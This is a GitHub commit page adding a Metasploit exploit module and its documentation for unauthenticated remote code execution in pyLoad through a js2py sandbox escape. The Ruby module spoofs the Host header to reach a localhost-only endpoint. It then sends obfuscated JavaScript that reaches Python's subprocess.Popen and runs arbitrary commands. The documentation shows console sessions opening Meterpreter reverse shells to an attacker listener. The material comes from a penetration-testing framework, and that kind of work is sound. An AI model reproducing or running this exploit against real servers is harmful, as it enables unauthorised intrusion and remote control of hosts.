Skip to content

Commit 5d9add4

Browse files
authored
Merge pull request rapid7#19640 from jheysel-r7/pyload_js2py_cve_2024_39205
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
2 parents 786e855 + 92e42a6 commit 5d9add4

File tree

3 files changed

+328
-1
lines changed

3 files changed

+328
-1
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -439,7 +439,7 @@ GEM
439439
rex-random_identifier
440440
rex-text
441441
ruby-rc4
442-
rex-random_identifier (0.1.12)
442+
rex-random_identifier (0.1.13)
443443
rex-text
444444
rex-registry (0.1.5)
445445
rex-rop_builder (0.1.5)
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
## Vulnerable Application
2+
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
3+
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
4+
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
5+
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
6+
is the latest version of js2py which was released Nov 6, 2022.
7+
8+
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
9+
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
10+
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
11+
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
12+
can bypass this restriction in order to access the API to achieve unauth RCE.
13+
14+
## Verification Steps
15+
16+
1. Start a vulnerable instance of pyLoad using docker
17+
2. Start msfconsole
18+
3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205`
19+
4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options
20+
5. Run: `run`
21+
22+
### Docker Setup
23+
24+
```
25+
docker run -d \
26+
--name=pyload-ng \
27+
-e PUID=1000 \
28+
-e PGID=1000 \
29+
-e TZ=Etc/UTC \
30+
-p 8000:8000 \
31+
-p 9666:9666 \
32+
--restart unless-stopped \
33+
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
34+
```
35+
36+
## Scenarios
37+
### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74)
38+
```
39+
msf6 > use linux/http/pyload_js2py_cve_2024_39205
40+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
41+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
42+
rhost => 127.0.0.1
43+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
44+
lhost => 172.16.199.1
45+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
46+
47+
Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
48+
49+
Name Current Setting Required Description
50+
---- --------------- -------- -----------
51+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
52+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
53+
RPORT 9666 yes The target port (TCP)
54+
SSL false no Negotiate SSL/TLS for outgoing connections
55+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
56+
TARGETURI / yes Base path
57+
URIPATH no The URI to use for this exploit (default is random)
58+
VHOST no HTTP server virtual host
59+
60+
61+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
62+
63+
Name Current Setting Required Description
64+
---- --------------- -------- -----------
65+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
66+
SRVPORT 8080 yes The local port to listen on.
67+
68+
69+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
70+
71+
Name Current Setting Required Description
72+
---- --------------- -------- -----------
73+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
74+
FETCH_DELETE false yes Attempt to delete the binary after execution
75+
FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes
76+
FETCH_SRVHOST no Local IP to use for serving payload
77+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
78+
FETCH_URIPATH no Local URI to use for serving payload
79+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
80+
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
81+
LPORT 4444 yes The listen port
82+
83+
84+
Exploit target:
85+
86+
Id Name
87+
-- ----
88+
0 Unix Command
89+
90+
91+
92+
View the full module info with the info, or info -d command.
93+
94+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
95+
96+
[*] Started reverse TCP handler on 172.16.199.1:4444
97+
[*] Running automatic check ("set AutoCheck false" to disable)
98+
[+] The target is vulnerable. Successfully tested command injection.
99+
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
100+
[*] Sending stage (3045380 bytes) to 172.16.199.1
101+
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
102+
103+
meterpreter > getruid
104+
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
105+
meterpreter > getuid
106+
Server username: abc
107+
meterpreter > sysinfo
108+
Computer : 172.17.0.2
109+
OS : (Linux 6.10.11-linuxkit)
110+
Architecture : x64
111+
BuildTuple : x86_64-linux-musl
112+
Meterpreter : x64/linux
113+
meterpreter >
114+
```
115+
116+
### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74)
117+
```
118+
msf6 > use linux/http/pyload_js2py_cve_2024_39205
119+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
120+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
121+
rhost => 127.0.0.1
122+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
123+
lhost => 172.16.199.1
124+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1
125+
target => 1
126+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp
127+
payload => linux/x64/meterpreter/reverse_tcp
128+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
129+
130+
[*] Started reverse TCP handler on 172.16.199.1:4444
131+
[*] Running automatic check ("set AutoCheck false" to disable)
132+
[+] The target is vulnerable. Successfully tested command injection.
133+
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
134+
[*] Sending stage (3045380 bytes) to 172.16.199.1
135+
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800
136+
[*] Command Stager progress - 100.00% done (823/823 bytes)
137+
138+
meterpreter > getuid
139+
Server username: abc
140+
meterpreter > sysinfo
141+
Computer : 172.17.0.2
142+
OS : (Linux 6.10.11-linuxkit)
143+
Architecture : x64
144+
BuildTuple : x86_64-linux-musl
145+
Meterpreter : x64/linux
146+
meterpreter >
147+
```
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/stopwatch'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStager
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)',
21+
'Description' => %q{
22+
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
23+
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
24+
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
25+
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
26+
is the latest version of js2py which was released Nov 6, 2022.
27+
28+
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
29+
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
30+
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
31+
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
32+
can bypass this restriction in order to access the API to achieve unauth RCE.
33+
},
34+
'Author' => [
35+
'Marven11', # PoC
36+
'Spencer McIntyre', # Previous pyLoad module which this is based on
37+
'jheysel-r7' # Metasploit module
38+
],
39+
'References' => [
40+
[ 'CVE', '2024-39205' ],
41+
[ 'CVE', '2024-28397' ],
42+
[ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ],
43+
[ 'URL', 'https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g' ],
44+
[ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ],
45+
],
46+
'DisclosureDate' => '2024-10-28',
47+
'License' => MSF_LICENSE,
48+
'Platform' => %w[unix linux],
49+
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
50+
'Privileged' => true,
51+
'Targets' => [
52+
[
53+
'Unix Command',
54+
{
55+
'Platform' => %w[unix linux],
56+
'Arch' => ARCH_CMD,
57+
'Type' => :unix_cmd
58+
}
59+
],
60+
[
61+
'Linux Dropper',
62+
{
63+
'Platform' => 'linux',
64+
'Arch' => [ARCH_X86, ARCH_X64],
65+
'Type' => :linux_dropper
66+
}
67+
],
68+
],
69+
'DefaultTarget' => 0,
70+
'Notes' => {
71+
'Stability' => [CRASH_SAFE],
72+
'Reliability' => [REPEATABLE_SESSION],
73+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
74+
}
75+
)
76+
)
77+
78+
register_options([
79+
Opt::RPORT(9666),
80+
OptString.new('TARGETURI', [true, 'Base path', '/'])
81+
])
82+
end
83+
84+
def check
85+
sleep_time = rand(5..10)
86+
87+
_, elapsed_time = Rex::Stopwatch.elapsed_time do
88+
execute_command("sleep #{sleep_time}")
89+
end
90+
91+
vprint_status("Elapsed time: #{elapsed_time} seconds")
92+
93+
unless elapsed_time > sleep_time
94+
return CheckCode::Safe('Failed to test command injection.')
95+
end
96+
97+
CheckCode::Vulnerable('Successfully tested command injection.')
98+
rescue Msf::Exploit::Failed
99+
return CheckCode::Safe('Failed to test command injection.')
100+
end
101+
102+
def exploit
103+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
104+
105+
case target['Type']
106+
when :unix_cmd
107+
if execute_command(payload.encoded)
108+
print_good("Successfully executed command: #{payload.encoded}")
109+
end
110+
when :linux_dropper
111+
execute_cmdstager
112+
end
113+
end
114+
115+
def javascript_payload(cmd)
116+
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
117+
118+
js = <<~EOS
119+
let #{js_vars[:command]} = "#{cmd}"
120+
let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
121+
let #{js_vars[:getattr]}, #{js_vars[:obj]}
122+
123+
#{js_vars[:base]} = '__base__'
124+
#{js_vars[:getattribute]} = '__getattribute__'
125+
#{js_vars[:hacked]} = Object.getOwnPropertyNames({})
126+
#{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]
127+
#{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__")
128+
#{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}]
129+
#{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]
130+
#{js_vars[:sub_class]} = '__subclasses__';
131+
132+
function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
133+
let #{js_vars[:result]};
134+
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
135+
let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]
136+
if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") {
137+
return #{js_vars[:item]}
138+
}
139+
if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {
140+
return #{js_vars[:result]}
141+
}
142+
}
143+
}
144+
145+
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
146+
EOS
147+
148+
opts = { 'Strings' => true }
149+
150+
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
151+
js.obfuscate(memory_sensitive: true)
152+
js.to_s
153+
end
154+
155+
def execute_command(cmd, _opts = {})
156+
cmd.gsub!(/\\/, '\\\\\\\\')
157+
cmd.gsub!(/"/, '\"')
158+
vprint_status("Executing command: #{cmd}")
159+
crypted_b64 = Rex::Text.encode_base64(rand(4))
160+
161+
res = send_request_cgi(
162+
'method' => 'POST',
163+
'headers' => {
164+
'Host' => "127.0.0.1:#{datastore['RPORT']}"
165+
},
166+
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),
167+
'vars_post' => {
168+
'crypted' => crypted_b64,
169+
'jk' => javascript_payload(cmd)
170+
}
171+
)
172+
173+
# The command will either cause the response to timeout or return a 500
174+
return if res.nil?
175+
return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('
176+
177+
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
178+
end
179+
180+
end

0 commit comments

Comments
 (0)